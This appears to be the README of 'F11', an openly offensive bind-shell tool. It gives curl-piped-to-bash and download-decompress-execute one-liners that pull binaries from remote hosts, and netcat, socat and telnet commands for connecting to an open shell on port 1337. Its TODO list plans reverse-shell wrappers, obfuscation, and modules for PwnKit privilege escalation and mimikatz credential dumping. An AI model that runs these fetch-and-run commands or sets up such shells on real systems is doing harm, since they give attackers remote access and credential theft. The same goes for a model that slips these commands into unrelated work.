F11 - Fully Featured Bind Shell

The SnipeSocket

EST. Apr 23, 2022

One curl to rule them all

# Fuk it just do everything for me
curl -sL https://f11.sh | bash

Just connect to bind host:port

# Connect to F11 bind server (IP:1337)
socat stdio tcp:localhost:1337

# Also works with netcat & telnet :)
nc localhost 1337

# Or for the old guys
telnet localhost 1337

PoC

Stay tuned! More to come on f11.sh

Install via NPM

npm i -g f11 && f11

Standalone hosted (compressed) binaries

• f11-linux.xz
• f11-macos.xz
• f11-win.exe.xz

Dedicated platform one-liner (linux)

rm /tmp/f11-linux; curl -sL https://f11snipe.sh/f11-linux.xz -o /tmp/f11-linux.xz && xz -d /tmp/f11-linux.xz && chmod +x /tmp/f11-linux && /tmp/f11-linux

Dedicated platform one-liner (osx)

rm /tmp/f11-macos; curl -sL https://f11snipe.sh/f11-macos.xz -o /tmp/f11-macos.xz && xz -d /tmp/f11-macos.xz && chmod +x /tmp/f11-macos && /tmp/f11-macos

Dedicated platform one-liner (windows)

rm /tmp/f11-win.exe; curl -sL https://f11snipe.sh/f11-win.exe.xz -o /tmp/f11-win.exe.xz && xz -d /tmp/f11-win.exe.xz && chmod +x /tmp/f11-win.exe && /tmp/f11-win.exe

Build from source

# Run all build steps
npm install
npm run ci

Individual build steps

# Install npm packages
npm install

# Build TypeScript
npm build

# Compile
npm run compile

# Compress
npm run compress

TODO

Cleanup

• better intro/helper messaging

Core features

• command history
• module groups, tags, etc?
• plugins? (additional features, how would this differ from modules? "extending")
• built-in encoder
  • relay/lookup via online services? (cyber-chef, cracks, common encodings, etc)
• support both TCP + TLS (with unique credentials)
• basic http(s) server to serve as web host/relay (on isolated VPN, i.e. THM)
  • web gui??
• add simple bash "stabilizer" wrapper to spawn nc/socat reverse connection
• support both "bind" and "rev" client/server open port scenarios
• better handling of navigation and special characters, signals, etc

Obfuscation

• LATER

Modules to support

• pwnkit
  • https://github.com/ly4k/PwnKit
• mimikatz (windows)
  • https://github.com/ParrotSec/mimikatz
• SUID/SUDO/CAP/
  • https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid

Contributions

• Please feel free to contribute!